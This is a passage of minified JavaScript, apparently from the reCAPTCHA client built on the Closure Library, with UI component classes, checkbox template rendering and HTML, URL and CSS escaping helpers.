null,F.$.set(qp(F,N),Eh(x)),F.L=F.L+x.length)}),qp=function(F,N,x){return(x=String(N),F.H)&&(x=x.toLowerCase()),x},p6=function(){throw Error("Do not instantiate directly");},Jn={},K6={},$D=(UD.prototype.G=function(F){for(var N=0;N<arguments.length;N++)Y5(arguments[N],function(x,S){this.add(S,x)},this)},p6.prototype.SF=null,function(F,N){F.H=(N&&!F.H&&(To(F),F.I=null,F.$.forEach(function(x,S,U){S!=(U=S.toLowerCase(),U)&&(OD(this,S),ED(this,U,x))},F)),N)}),hn={},wZ={},An={},xD=function(F,N){return(N=
new UD,N.I=F.I,F).$&&(N.$=new sd(F.$),N.L=F.L),N},sD=((p6.prototype.dS=P("$"),p6.prototype).toString=P("$"),function(){p6.call(this)}),tn=(K(sD,p6),function(F,N,x,S){return 1==(yK((S=(F=F(N||Xl,void 0,x),Qy((S||it()).$,"DIV")),F=lr(F),S),F),S).childNodes.length&&(F=S.firstChild,1==F.nodeType&&(S=F)),S}),lr=function(F,N,x){if(!Q4(F))return ha(String(F));if(F instanceof p6){if(F.RK!==wZ)throw Error("Sanitized content was not of kind HTML.");return ta((ya((ya((F=(x=new vL(BL,"Soy SanitizedContent of kind HTML produces SafeHtml-contract-compliant value."),
N=F.toString(),F).SF,x)),x)),N),F||null)}return ha("zSoyz")},gZ=function(F,N,x){yK(F,(N=lr(N(x||Xl,void 0,void 0)),N))},Xl={},Br=function(F,N){var x=Array.prototype.slice.call(arguments),S=x.shift();if("undefined"==typeof S)throw Error("[goog.string.format] Template required");return S.replace(/%([0\- \+]*)(\d+)?(\.(\d+))?([%sfdiu])/g,function(U,Z,a,c,H,W,E,V){if("%"==W)return"%";var m=x.shift();if("undefined"==typeof m)throw Error("[goog.string.format] Not enough arguments");return n6[arguments[0]=
m,W].apply(null,arguments)})},vr=function(F,N,x){if(1==((x=(N=(F=lr((x=(N=rZ,it)(),F=N(F||Xl,void 0,void 0),F)),x).$,Qy)(N,"DIV"),X)?(F=lb(gm,F),yK(x,F),x.removeChild(x.firstChild)):yK(x,F),x.childNodes.length))x=x.removeChild(x.firstChild);else{for(F=N.createDocumentFragment();x.firstChild;)F.appendChild(x.firstChild);x=F}return x},n6={s:function(F,N,x){return isNaN(x)||""==x||F.length>=Number(x)?F:F=-1<N.indexOf("-",0)?F+Cr(" ",Number(x)-F.length):Cr(" ",Number(x)-F.length)+F},f:function(F,N,x,
S,U,Z){if(isNaN((isNaN((S=(Z=0>Number(F)?"-":0<=N.indexOf("+")?"+":0<=N.indexOf(" ")?" ":"",F.toString()),U))||""==U||(S=parseFloat(F).toFixed(U)),0<=Number(F)&&(S=Z+S),x))||S.length>=Number(x))return S;return S=(F=(S=isNaN(U)?Math.abs(Number(F)).toString():Math.abs(Number(F)).toFixed(U),Number(x)-S.length-Z.length),0<=N.indexOf("-",0)?Z+S+Cr(" ",F):Z+Cr(0<=N.indexOf("0",0)?"0":" ",F)+S)},d:(sD.prototype.RK=wZ,function(F,N,x,S,U,Z,a,c){return n6.f(parseInt(F,10),N,x,S,0,Z,a,c)})},Go=ik(((n6.u=n6.d,
n6).i=n6.d,function(F){return(F=!X)||(F=0<=Hw(as,9)),F})),Mp=L(),dZ=((Rr(Mp),Mp).prototype.$=0,function(F){this.G=this.o=this.H=(this.M0=!(this.Xa=(this.w=(((e7.call(this),this).U=F||it(),this.Kq=br,this).N=void 0,null),null),1),null)}),br=((K(dZ,e7),dZ).prototype.Rc=Mp.iO(),null),DU=function(F,N,x,S){(F.H&&F.H.G&&(S=F.Xa,x=F.H.G,S in x&&delete x[S],dN(F.H.G,N,F)),F).Xa=N},C6=function(F,N){switch(F){case 1:return N?"disable":"enable";case 2:return N?"highlight":"unhighlight";case 4:return N?"activate":
"deactivate";case 8:return N?"select":"unselect";case 16:return N?"check":"uncheck";case 32:return N?"focus":"blur";case 64:return N?"open":"close"}throw Error("Invalid component state");},ir=function(F){return F.Xa||(F.Xa=":"+(F.Rc.$++).toString(36))},y=((dZ.prototype.M=P("w"),dZ.prototype).F=function(F){return yD(this,F)},function(F){return F.N||(F.N=new xH(F)),F.N}),jD=(T=dZ.prototype,function(F,N,x,S){if(F==N)throw Error("Unable to set parent component");if(x=N&&F.H&&F.Xa)x=F.H,S=F.Xa,x=x.G&&
S?bk(x.G,S)||null:null;if(x&&F.H!=N)throw Error("Unable to set parent component");(F.H=N,dZ.O).Eb.call(F,N)}),yD=((T.Z=function(){this.w=Qy(this.U.$,"DIV")},T.render=function(F){if(this.M0)throw Error("Component already rendered");((this.w||this.Z(),F)?F.insertBefore(this.w,null):this.U.$.body.appendChild(this.w),this).H&&!this.H.M0||this.Y()},T).Eb=function(F){if(this.H&&this.H!=F)throw Error("Method not supported");dZ.O.Eb.call(this,F)},function(F,N){return F.w?d(N,F.w||F.U.$):null}),Rf=((T.L4=
NR("w"),T.Y=function(){QD((this.M0=!0,this),function(F){!F.M0&&F.M()&&F.Y()})},T).D=function(){((this.M0&&this.bO(),this.N&&(this.N.Gk(),delete this.N),QD(this,function(F){F.Gk()}),this.w&&yy(this.w),this).H=this.w=this.G=this.o=null,dZ).O.D.call(this)},function(F,N,x,S){if(x=F.o?F.o.length:0,N.M0&&!F.M0)throw Error("Component already rendered");if(0>x||x>(F.o?F.o.length:0))throw Error("Child component index out of bounds");(Uh((jD((N.H==(F.G&&F.o||(F.G={},F.o=[]),F)?(S=ir(N),F.G[S]=N,SU(F.o,N)):
dN(F.G,ir(N),N),N),F),F).o,x,0,N),N.M0&&F.M0&&N.H==F)?(S=F.H6(),x=S.childNodes[x]||null,x!=N.M()&&S.insertBefore(N.M(),x)):F.M0&&!N.M0&&N.w&&N.w.parentNode&&1==N.w.parentNode.nodeType&&N.Y()}),QD=(dZ.prototype.H6=(T.bO=function(){(QD(this,function(F){F.M0&&F.bO()}),this).N&&ZX(this.N),this.M0=!1},P)("w"),function(F,N){F.o&&w(F.o,N,void 0)}),kD=(dZ.prototype.removeChild=function(F,N,x,S){if(!(F&&(x="string"===typeof F?F:ir(F),F=this.G&&x?bk(this.G,x)||null:null,x&&F&&(S=this.G,x in S&&delete S[x],
SU(this.o,F),N&&(F.bO(),F.w&&yy(F.w)),jD(F,null))),F))throw Error("Child is not in parent component");return F},L()),ur,zo=(Rr(kD),function(F,N,x){return x=new F,x.Za=function(){return N},x}),If={button:"pressed",checkbox:"checked",menuitem:"selected",menuitemcheckbox:"checked",menuitemradio:"checked",radio:"checked",tab:"selected",treeitem:"selected"},f6=(kD.prototype.kz=L(),function(F,N,x,S){if(F=F.M?F.M():F)S=[N],X&&!TO("7")&&(S=eD(bz(F),N),S.push(N)),(x?It:dH)(F,S)}),FM=(T=kD.prototype,function(F,
N,x){F&&(v9(F),N&&("string"===typeof N?Mu(F,N):(x=function(S,U){S&&(U=Gg(F),F.appendChild("string"===typeof S?U.createTextNode(S):S))},dA(N)?w(N,x):!jE(N)||"nodeType"in N?x(N):w(Eh(N),x))))}),NP=function(F,N,x,S){if(x=F.kz())S=N.getAttribute("role")||null,x!=S&&(x?N.setAttribute("role",x):N.removeAttribute("role"))},Uc=(T.BE=((T.tM=function(F,N,x,S,U,Z){if(S=(x=!N,X||k8?F.getElementsByTagName("*"):null),Fa){if(x=x?"none":"",F.style&&(F.style[Fa]=x),S)for(U=0;Z=S[U];U++)Z.style&&(Z.style[Fa]=x)}else if(X||
k8)if(x=x?"on":"",F.setAttribute("unselectable",x),S)for(U=0;Z=S[U];U++)Z.setAttribute("unselectable",x)},kD.prototype.HV=function(F,N,x,S,U,Z,a,c,H,W,E){return(((w((H=Eh(bz((c=(U=(S=((N.id&&DU(F,N.id),N)&&N.firstChild?oA(F,N.firstChild.nextSibling?Eh(N.childNodes):N.firstChild):F.l9=null,x=0,this).Za(),this).Za(),a=Z=!1),N))),H),function(V){Z||V!=S?a||V!=U?x|=Uc(this,V):a=!0:(Z=!0,U==S&&(a=!0)),1==Uc(this,V)&&w7(N)&&jv(N)&&N2(N,!1)},this),F).EE=x,Z||(H.push(S),U==S&&(a=!0)),a||H.push(U),W=F.uO)&&
H.push.apply(H,W),X)&&!TO("7")&&(E=eD(H),0<E.length&&(H.push.apply(H,E),c=!0)),Z&&a&&!W&&!c||Mx(N,H.join(" ")),N},T).Pl=function(F,N){f6(F,this.Za()+"-rtl",N)},kD.prototype.kB=function(F){(null==F.Kq&&(F.Kq="rtl"==BI(F.M0?F.w:F.U.$.body,"direction")),F.Kq)&&this.Pl(F.M(),!0),F.isEnabled()&&this.Ow(F,F.isVisible())},(kD.prototype.Z=function(F){return F.U.Z("DIV",SQ(this,F).join(" "),F.dS())},T).Tk=(T.JI=(T.Ow=function(F,N,x){if(F.aw&32&&(x=F.M())){if(!N&&F.kK()){try{x.blur()}catch(S){}F.kK()&&F.xI(null)}(w7(x)&&
jv(x))!=N&&N2(x,N)}},function(F,N){return F.aw&32&&(N=F.M())?w7(N)&&jv(N):!1}),function(F,N,x,S){if(S=(N=(ur||(ur={1:"disabled",8:"selected",16:"checked",64:"expanded"}),ur[N]),F.getAttribute("role"))||null)S=If[S]||N,N="checked"==N||"selected"==N?S:N;N&&xb(F,N,x)}),function(F,N,x,S,U){if(S=F.M())(U=xd(this,N))&&f6(F,U,x),this.Tk(S,N,x)}),kD.prototype.Za=xX("goog-control"),function(F,N,x,S,U){if(!F.L){for(U in x=(F.$||Zb(F),F).$,S={},x)S[x[U]]=U;F.L=S}return(x=parseInt(F.L[N],10),isNaN)(x)?0:x}),
xd=function(F,N){return(F.$||Zb(F),F).$[N]},eD=function(F,N,x){return w([],(x=(N&&(F=Va(F,[N])),[]),function(S){!a9(S,eE(LH,F))||N&&!LH(S,N)||x.push(S.join("_"))})),x},SQ=function(F,N,x,S,U,Z){for(U=((U=(S=(x=F.Za(),[x]),F.Za()),U!=x)&&S.push(U),x=N.EE,[]);x;)Z=x&-x,U.push(xd(F,Z)),x&=~Z;return(S.push.apply(S,U),(x=N.uO)&&S.push.apply(S,x),X)&&!TO("7")&&S.push.apply(S,eD(S)),S},Zb=function(F,N){F.$={1:(N=F.Za(),N.replace(/\xa0|\s/g," "),N)+"-disabled",2:N+"-hover",4:N+"-active",8:N+"-selected",16:N+
"-checked",32:N+"-focused",64:N+"-open"}},aA=L(),cA=((T=(K(aA,kD),Rr(aA),aA.prototype),T.kz=xX("button"),T).Z=function(F,N,x){return x=(N=aA.O.Z.call(this,F),F.UE),N&&(x?N.title=x:N.removeAttribute("title")),(x=F.hX)&&this.Bl(N,x),F.aw&16&&this.Tk(N,16,F.C4()),N},T.Bl=J,T.tI=J,T.Tk=function(F,N,x){switch(N){case 8:case 16:xb(F,"pressed",x);break;default:case 64:case 1:aA.O.Tk.call(this,F,N,x)}},T.HV=function(F,N,x){return(F.UE=(F.hX=(x=(N=aA.O.HV.call(this,F,N),this.tI(N)),x),N.title),F).aw&16&&this.Tk(N,
16,F.C4()),N},T.Za=xX("goog-button"),function(F,N){if(!F)throw Error("Invalid class name "+F);if(!y4(N))throw Error("Invalid decorator function "+N);}),LO={},Q=function(F,N,x,S){if(!(dZ.call(this,x),N)){for(N=this.constructor;N;){if(S=io(N),S=LO[S])break;N=N.O?N.O.constructor:null}N=S?y4(S.iO)?S.iO():new S:null}this.l9=(this.L=N,void 0!==F)?F:null},HA=(T=(K(Q,dZ),Q.prototype),T.uO=null,function(F,N){N&&(F.uO?LH(F.uO,N)||F.uO.push(N):F.uO=[N],f6(F,N,!0))}),PA=(Q.prototype.L4=function(F){this.DZ=((this.w=
F=this.L.HV(this,F),NP(this.L,F),this.L).tM(F,!1),"none"!=F.style.display)},T.EE=(Q.prototype.bO=function(){((Q.O.bO.call(this),this).J&&V7(this.J),this).isVisible()&&this.isEnabled()&&this.L.Ow(this,!1)},Q.prototype.Z=function(F){((NP((this.w=F=this.L.Z(this),this.L),F),this).L.tM(F,!1),this).isVisible()||(x7(F,!1),F&&xb(F,"hidden",!0))},Q.prototype.D=function(){this.K=this.uO=(delete (Q.O.D.call(this),this.J&&(this.J.Gk(),delete this.J),this).L,this.l9=null)},Q.prototype.Y=function(F,N){((((F=(N=
(Q.O.Y.call(this),this.w),this).L,this).isVisible()||xb(N,"hidden",!this.isVisible()),this.isEnabled()||F.Tk(N,1,!this.isEnabled()),this.aw&8)&&F.Tk(N,8,!!(this.EE&8)),this.aw&16&&F.Tk(N,16,this.C4()),this).aw&64&&F.Tk(N,64,!!(this.EE&64)),this.L.kB(this),this.aw)&-2&&(this.mB&&WA(this,!0),this.aw&32&&(F=this.M()))&&(N=this.J||(this.J=new LL),cI(N,F),y(this).R(N,"key",this.B6).R(F,"focus",this.u3).R(F,"blur",this.xI))},0),T.Fv=255,function(F){(F.M0&&0!=F.mB&&WA(F,!1),F).mB=!1}),WA=(T.DZ=!0,T.l9=null,
(T.mB=!0,Q.prototype).H6=function(){return this.M()},T.aw=39,function(F,N,x,S){(x=y(F),S=F.M(),N)?(x.R(S,q2.jF,F.vV).R(S,[q2.nq,q2.R5],F.Ew).R(S,"mouseover",F.q0).R(S,"mouseout",F.sE),F.cu!=J&&x.R(S,"contextmenu",F.cu),X&&(TO(9)||x.R(S,"dblclick",F.Vk),F.K||(F.K=new TQ(F),Wl(F,F.K)))):(a_(a_(a_(a_(x,S,q2.jF,F.vV),S,[q2.nq,q2.R5],F.Ew),S,"mouseover",F.q0),S,"mouseout",F.sE),F.cu!=J&&a_(x,S,"contextmenu",F.cu),X&&(TO(9)||a_(x,S,"dblclick",F.Vk),Hl(F.K),F.K=null))}),Ec=(Q.prototype.dS=P("l9"),function(F){return(F=
F.dS())?("string"===typeof F?F:dA(F)?cL(F,FP).join(""):r7(F)).replace(/[\t\r\n ]+/g," ").replace(/^[\t\r\n ]+|[\t\r\n ]+$/g,""):""}),oA=function(F,N){F.l9=N},$d=((Q.prototype.isVisible=P("DZ"),Q).prototype.isEnabled=function(){return!(this.EE&1)},function(F,N){Vj(F,4,N)&&Yd(F,4,N)}),qP=function(F,N){return!!(F.Fv&N)&&!!(F.aw&N)},Oc=function(F,N){Vj(F,2,N)&&Yd(F,2,N)},m9=function(F,N){return!!F.relatedTarget&&ev(N,F.relatedTarget)},pO=((((T=Q.prototype,Q).prototype.yz=(Q.prototype.n4=function(F,N){N=
this.H,N&&"function"==typeof N.isEnabled&&!N.isEnabled()||!Vj(this,1,!F)||(F||($d(this,!1),Oc(this,!1)),this.isVisible()&&this.L.Ow(this,F),Yd(this,1,!F,!0))},function(F){Vj(this,32,F)&&Yd(this,32,F)}),T.Ew=function(F){this.isEnabled()&&(qP(this,2)&&Oc(this,!0),this.EE&4&&this.G9(F)&&qP(this,4)&&$d(this,!1))},T).Vk=function(F){this.isEnabled()&&this.G9(F)},Q.prototype.sE=function(F){!m9(F,this.M())&&this.dispatchEvent("leave")&&(qP(this,4)&&$d(this,!1),qP(this,2)&&Oc(this,!1))},T).B6=function(F){return this.isVisible()&&
this.isEnabled()&&this.NY(F)?(F.preventDefault(),F.L(),!0):!1},function(F,N,x){if(F.M0&&F.EE&N&&!x)throw Error("Component already rendered");(!x&&F.EE&N&&Yd(F,N,!1),F).aw=x?F.aw|N:F.aw&~N}),Yd=function(F,N,x,S){S||1!=N?F.aw&N&&x!=!!(F.EE&N)&&(F.L.BE(F,N,x),F.EE=x?F.EE|N:F.EE&~N):F.n4(!x)},Vj=((T.G9=(Q.prototype.rS=function(F){Vj(this,16,F)&&Yd(this,16,F)},function(F,N){return(N=new $b((qP(this,((qP(this,16)&&this.rS(!this.C4()),qP)(this,8)&&Vj(this,8,!0)&&Yd(this,8,!0),64))&&(N=!(this.EE&64),Vj(this,
64,N)&&Yd(this,64,N)),"action"),this),F&&(N.altKey=F.altKey,N.ctrlKey=F.ctrlKey,N.metaKey=F.metaKey,N.shiftKey=F.shiftKey,N.H=F.H),this).dispatchEvent(N)}),T).u3=function(){qP(this,32)&&this.yz(!0)},T.NY=function(F){return 13==F.keyCode&&this.G9(F)},(T.xI=function(){(qP(this,4)&&$d(this,!1),qP(this,32))&&this.yz(!1)},Q.prototype.kK=function(){return!!(this.EE&32)},Q.prototype.C4=function(){return!!(this.EE&16)},Q.prototype.q0=function(F){!m9(F,this.M())&&this.dispatchEvent("enter")&&this.isEnabled()&&
qP(this,2)&&Oc(this,!0)},Q.prototype.cu=J,T).vV=function(F){(this.isEnabled()&&(qP(this,2)&&Oc(this,!0),!JX(F)||I8&&fr&&F.ctrlKey||(qP(this,4)&&$d(this,!0),this.L&&this.L.JI(this)&&this.M().focus())),!JX(F)||I8&&fr&&F.ctrlKey)||F.preventDefault()},function(F,N,x){return!!(F.aw&N)&&!!(F.EE&N)!=x&&(!(0&N)||F.dispatchEvent(C6(N,x)))&&!F.Iw});if(!y4(Q))throw Error("Invalid component class "+Q);if(!y4(kD))throw Error("Invalid renderer class "+kD);
var Jv=io(Q),TQ=(LO[Jv]=kD,cA("goog-control",function(){return new Q(null)}),function(F){F=(this.I=new xH(((this.L=(cl.call(this),F),this).$=!1,this)),Wl(this,this.I),this.L.w),this.I.R(F,q2.jF,this.G).R(F,q2.nq,this.o).R(F,"click",this.H)}),KO=(K(TQ,cl),!X)||9<=Number(WU),hv=(TQ.prototype.o=(TQ.prototype.D=function(){(this.L=null,TQ.O).D.call(this)},TQ.prototype.H=function(F,N,x,S,U){this.$?this.$=!1:(N=F.OE,x=N.button,S=N.type,U=hv(N,"mousedown"),this.L.vV(new ml(U,F.$)),U=hv(N,"mouseup"),this.L.Ew(new ml(U,
F.$)),KO||(N.button=x,N.type=S))},function(){this.$=!0}),TQ.prototype.G=function(){this.$=!1},function(F,N,x){if(!KO)return F.button=0,F.type=N,F;return x=document.createEvent("MouseEvents"),x.initMouseEvent(N,F.bubbles,F.cancelable,F.view||null,F.detail,F.screenX,F.screenY,F.clientX,F.clientY,F.ctrlKey,F.altKey,F.shiftKey,F.metaKey,0,F.relatedTarget||null),x}),wo=L(),Av=(((((K(wo,aA),Rr(wo),T=wo.prototype,T).kz=L(),T).Bl=function(F,N){F&&(F.value=N)},T).JI=function(F){return F.isEnabled()},T).BE=
function(F,N,x){(F=(wo.O.BE.call(this,F,N,x),F.M()))&&1==N&&(F.disabled=x)},T.HV=function(F,N,x){return((pO(F,32,((PA(F),F).Fv&=-256,!1)),N.disabled)&&(x=xd(this,1),z1(N,x)),wo.O).HV.call(this,F,N)},T.tM=J,T.Pl=J,T.tI=function(F){return F.value},function(F,N,x){Q.call(this,F,N||wo.iO(),x)}),sc=((K(Av,(T.Tk=J,T.kB=(T.Ow=J,T.Z=function(F){return pO(F,32,(PA(F),F.Fv&=-256,!1)),F.U.Z("BUTTON",{"class":SQ(this,F).join(" "),disabled:!F.isEnabled(),title:F.UE||"",value:F.hX||""},Ec(F)||"")},function(F){y(F).R(F.M(),
"click",F.G9)}),Q)),Av.prototype).NY=function(F){return 13==F.keyCode&&"key"==F.type||32==F.keyCode&&"keyup"==F.type?this.G9(F):32==F.keyCode},function(F,N,x){if(F.UE=N,x=F.M())N?x.title=N:x.removeAttribute("title")}),XM=(cA("goog-button",(Av.prototype.D=(Av.prototype.Y=function(F){(Av.O.Y.call(this),this.aw&32&&(F=this.M()))&&y(this).R(F,"keyup",this.NY)},function(){delete (Av.O.D.call(this),delete this.hX,this).UE}),function(){return new Av(null)})),L)(),ld=((K(XM,kD),Rr)(XM),XM.prototype.Z=function(F,
N){return N=F.U.Z("SPAN",SQ(this,F).join(" ")),ld(this,N,F.C),N},XM.prototype.HV=function(F,N,x,S){return((LH((S=!(N=XM.O.HV.call(this,F,N),x=bz(N),1),x),tv(this,null))?S=null:LH(x,tv(this,!0))?S=!0:LH(x,tv(this,!1))&&(S=!1),F).C=S,xb)(N,"checked",null==S?"mixed":1==S?"true":"false"),N},XM.prototype.kz=xX("checkbox"),function(F,N,x,S){N&&(S=tv(F,x),DD(N,S)||(gN(go,function(U){e_(N,(U=tv(this,U),U),U==S)},F),xb(N,"checked",null==x?"mixed":1==x?"true":"false")))}),nO=(XM.prototype.Za=xX("goog-checkbox"),
function(F,N,x){this.C=((x=x||XM.iO(),Q).call(this,null,x,N),void 0!==F)?F:!1}),tv=function(F,N,x){if(x=F.Za(),1==N)return x+"-checked";if(0==N)return x+"-unchecked";if(null==N)return x+"-undetermined";throw Error("Invalid checkbox state: "+N);},go={C0:!0,MW:!1,op:((T=(K(nO,Q),nO.prototype),T).NY=function(F){return!(32==F.keyCode&&(this.G9(F),this.bD(F)),1)},T.rS=function(F){F!=this.C&&(this.C=F,ld(this.L,this.M(),this.C))},null)},BA=(((T.C4=function(){return 1==this.C},T.Y=function(){(nO.O.Y.call(this),
this.mB)&&y(this).R(this.M(),"click",this.bD)},T).bD=function(F,N){(N=(F.L(),this).C?"uncheck":"check",this.isEnabled())&&!F.target.href&&this.dispatchEvent(N)&&(F.preventDefault(),this.rS(this.C?!1:!0),this.dispatchEvent("change"))},cA)("goog-checkbox",function(){return new nO}),function(F,N){dZ.call(this,N),this.L=F||""}),ro,vA=(K(BA,dZ),function(){return null==ro&&(ro="placeholder"in Qy(document,"INPUT")),ro}),GQ=(T=BA.prototype,BA.prototype.I=null,function(F){!F.J&&F.$&&F.M().form&&(F.$.R(F.M().form,
"submit",F.ta),F.J=!0)}),bd=(T.Z=((T.ZR=!1,T).bO=function(){(BA.O.bO.call(this),this.$&&(this.$.Gk(),this.$=null),this.M()).$=null},function(){this.w=this.U.Z("INPUT",{type:"text"})}),T.L4=function(F){xb((F=(d7((BA.O.L4.call(this,F),this.L||(this.L=F.getAttribute("label")||""),Gg(F)))==F&&(this.ZR=!0,F=this.M(),G1(F,"label-input-label")),vA()&&(this.M().placeholder=this.L),this).M(),F),"label",this.L)},T.Y=function(F,N){(((F=new xH((BA.O.Y.call(this),this)),F.R(this.M(),"focus",this.bR),F).R(this.M(),
"blur",this.s3),vA())?this.$=F:(z3&&F.R(this.M(),["keypress","keydown","keyup"],this.yU),N=Gg(this.M()),F.R(qu(N),"load",this.VU),this.$=F,GQ(this)),MP)(this),this.M().$=this},function(F){return!!F.M()&&""!=F.M().value&&F.M().value!=F.L}),Db=((((T=BA.prototype,T).bR=function(F,N){(G1((this.ZR=!0,F=this.M(),F),"label-input-label"),vA()||bd(this)||this.C)||(F=function(){N.M()&&(N.M().value="")},N=this,X?D(F,10):F())},T.D=function(){(BA.O.D.call(this),this.$)&&(this.$.Gk(),this.$=null)},T).ta=function(){bd(this)||
(this.M().value="",D(this.TG,10,this))},T.TG=function(){bd(this)||(this.M().value=this.L)},T).s3=function(){MP((this.ZR=(vA()||(a_(this.$,this.M(),"click",this.bR),this.I=null),!1),this))},function(F){F.M().value="",null!=F.I&&(F.I="")}),CO=(BA.prototype.reset=((T.yU=(BA.prototype.isEnabled=function(){return!this.M().disabled},function(F){27==F.keyCode&&("keydown"==F.type?this.I=this.M().value:"keypress"==F.type?this.M().value=this.I:"keyup"==F.type&&(this.I=null),F.preventDefault())}),BA.prototype.K=
function(){!this.M()||bd(this)||this.ZR||(this.M().value=this.L)},T).VU=function(){MP(this)},BA.prototype.X=function(){this.C=!1},function(){bd(this)&&(Db(this),MP(this))}),function(F,N,x){e_((F.M().disabled=!N,x=F.M(),x),"label-input-label-disabled",!N)}),MP=function(F,N){bd((xb(((N=F.M(),vA)()?F.M().placeholder!=F.L&&(F.M().placeholder=F.L):GQ(F),N),"label",F.L),F))?(N=F.M(),G1(N,"label-input-label")):(F.C||F.ZR||(N=F.M(),z1(N,"label-input-label")),vA()||D(F.K,10,F))},id=function(F){return null!=
F.I?F.I:bd(F)?F.M().value:""},Qj=function(F){return yj(F,wZ)?F:F instanceof Ja?R(Aa(F).toString(),F.$()):R(bb(String(String(F))),jQ(F))},yj=function(F,N){return null!=F&&F.RK===N},jQ=function(F){if(null!=F)switch(F.SF){case 1:return 1;case -1:return-1;case 0:return 0}return null},R=function(F){function N(x){this.$=x}return N.prototype=F.prototype,function(x,S,U){return(U=new N(String(x)),void 0!==S)&&(U.SF=S),U}}(sD),RA=/^[^&:\/?#]*(?:[\/?#]|$)|^https?:|^data:image\/[a-z0-9+]+;base64,[a-z0-9+\/]+=*$|^blob:/i,
ud=function(F,N,x,S,U,Z,a,c,H,W){return H=(W=(H=H=(N=(x=(F=(U=(Z=(c=(S=(N=(x=(a=(F=F||{},F.nZ),W=F.I5,F).g5,F.attributes),F.checked),F.Uy),H=F.dv,F.id),F.disabled),R),'<span class="'+k("recaptcha-checkbox")+" "+k("goog-inline-block")+(S?" "+k("recaptcha-checkbox-checked"):" "+k("recaptcha-checkbox-unchecked"))+(U?" "+k("recaptcha-checkbox-disabled"):"")+(x?" "+k(x):"")+'" role="checkbox" aria-checked="'+(S?"true":"false")+'"'+(c?' aria-labelledby="'+k(c)+'"':"")+(Z?' id="'+k(Z)+'"':"")+(U?' aria-disabled="true" tabindex="-1"':
' tabindex="'+(a?k(a):"0")+'"')),N?(yj(N,An)?N=N.dS().replace(/([^"'\s])$/,"$1 "):(N=String(N),N=kd.test(N)?N:"zSoyz"),N=" "+N):N="",x+N+' dir="ltr">'),{dv:H,I5:W}),H.I5),R((H.dv?'<div class="'+(W?k("recaptcha-checkbox-nodatauri")+" ":"")+k("recaptcha-checkbox-border")+'" role="presentation"></div><div class="'+(W?k("recaptcha-checkbox-nodatauri")+" ":"")+k("recaptcha-checkbox-borderAnimation")+'" role="presentation"></div><div class="'+(W?k("recaptcha-checkbox-nodatauri")+" ":"")+k("recaptcha-checkbox-spinner")+
'" role="presentation"></div><div class="'+(W?k("recaptcha-checkbox-nodatauri")+" ":"")+k("recaptcha-checkbox-spinnerAnimation")+'" role="presentation"></div>':'<div class="'+k("recaptcha-checkbox-spinner-gif")+'" role="presentation"></div>')+'<div class="'+k("recaptcha-checkbox-checkmark")+'" role="presentation"></div>')),F(N+H+"</span>")},Fv=function(F){return yj(F,K6)||yj(F,Jn)?F=zQ(F):F instanceof I9?F=zQ(Ww(F)):F instanceof ko?F=zQ(Sa(F).toString()):(F=String(F),F=IA.test(F)?F.replace(eQ,fO):
"about:invalid#zSoyz"),F},N8=function(F){return F.replace(/<\//g,"<\\/").replace(/\]\]>/g,"]]\\>")},zQ=function(F){return String(F).replace(eQ,fO)},xl=/<(?:!|\/?([a-zA-Z][a-zA-Z0-9:\-]*))(?:[^>'"]|"[^"]*"|'[^']*')*>/g,SF=function(F,N){return y4(F)&&y4(N)?F.RK!==N.RK?!1:F.toString()===N.toString():F instanceof p6&&N instanceof p6?F.RK!=N.RK?!1:F.toString()==N.toString():F==N},od=function(F,N){(Wl(this,(this.I=(((e7.call(this),this).H=-1,this).L=F,new k5(this.L)),this.I)),(N4&&q4||S0||xw)&&Gk(this.L,
["touchstart","touchend"],this.G,!1,this),N)||(Gk(this.I,"action",this.$,!1,this),Gk(this.L,"keyup",this.o,!1,this))},Uz={"\x00":"&#0;","\t":"&#9;","\n":"&#10;","\x0B":"&#11;","\f":"&#12;","\r":"&#13;"," ":"&#32;",'"':"&quot;","&":"&amp;","'":"&#39;","-":"&#45;","/":"&#47;","<":"&lt;","=":"&#61;",">":"&gt;","`":"&#96;","\u0085":"&#133;","\u00a0":"&#160;","\u2028":"&#8232;","\u2029":"&#8233;"},eQ=/[\x00- \x22\x27-\x29\x3c\x3e\\\x7b\x7d\x7f\x85\xa0\u2028\u2029\uff01\uff03\uff04\uff06-\uff0c\uff0f\uff1a\uff1b\uff1d\uff1f\uff20\uff3b\uff3d]/g,
k=function(F){return yj(F,wZ)?(F=F.dS(),F=String(F).replace(xl,"").replace(ZN,"&lt;"),F=String(F).replace(ad,cX)):F=bb(String(F)),F},L7=function(F){return yj(F,K6)||yj(F,Jn)?F=zQ(F):F instanceof I9?F=zQ(Ww(F)):F instanceof ko?F=zQ(Sa(F).toString()):(F=String(F),F=RA.test(F)?F.replace(eQ,fO):"about:invalid#zSoyz"),F},ZN=/</g,kd=/^(?!on|src|(?:action|archive|background|cite|classid|codebase|content|data|dsync|href|http-equiv|longdesc|style|usemap)\s*$)(?:[a-z0-9_$:-]*)$/i,HX=/^(?!-*(?:expression|(?:moz-)?binding))(?:(?:[.#]?-?(?:[_a-z0-9-]+)(?:-[_a-z0-9-]+)*-?|(?:rgb|hsl)a?\([0-9.%,\u0020]+\)|-?(?:[0-9]+(?:\.[0-9]*)?|\.[0-9]+)(?:[a-z]{1,4}|%)?|!important)(?:\s+|$))*$/i,
IA=/^(?![^#?]*\/(?:\.|%2E){2}(?:[\/?#]|$))(?:(?:https?|mailto):|[^&:\/?#]*(?:[\/?#]|$))/i,fO=function(F){return WX[F]},ad=/[\x00\x22\x27\x3c\x3e]/g,WX={"\x00":"%00","\u0001":"%01","\u0002":"%02","\u0003":"%03","\u0004":"%04","\u0005":"%05","\u0006":"%06","\u0007":"%07","\b":"%08","\t":"%09","\n":"%0A","\x0B":"%0B","\f":"%0C","\r":"%0D","\u000e":"%0E","\u000f":"%0F","\u0010":"%10","\u0011":"%11","\u0012":"%12","\u0013":"%13","\u0014":"%14","\u0015":"%15","\u0016":"%16","\u0017":"%17","\u0018":"%18",
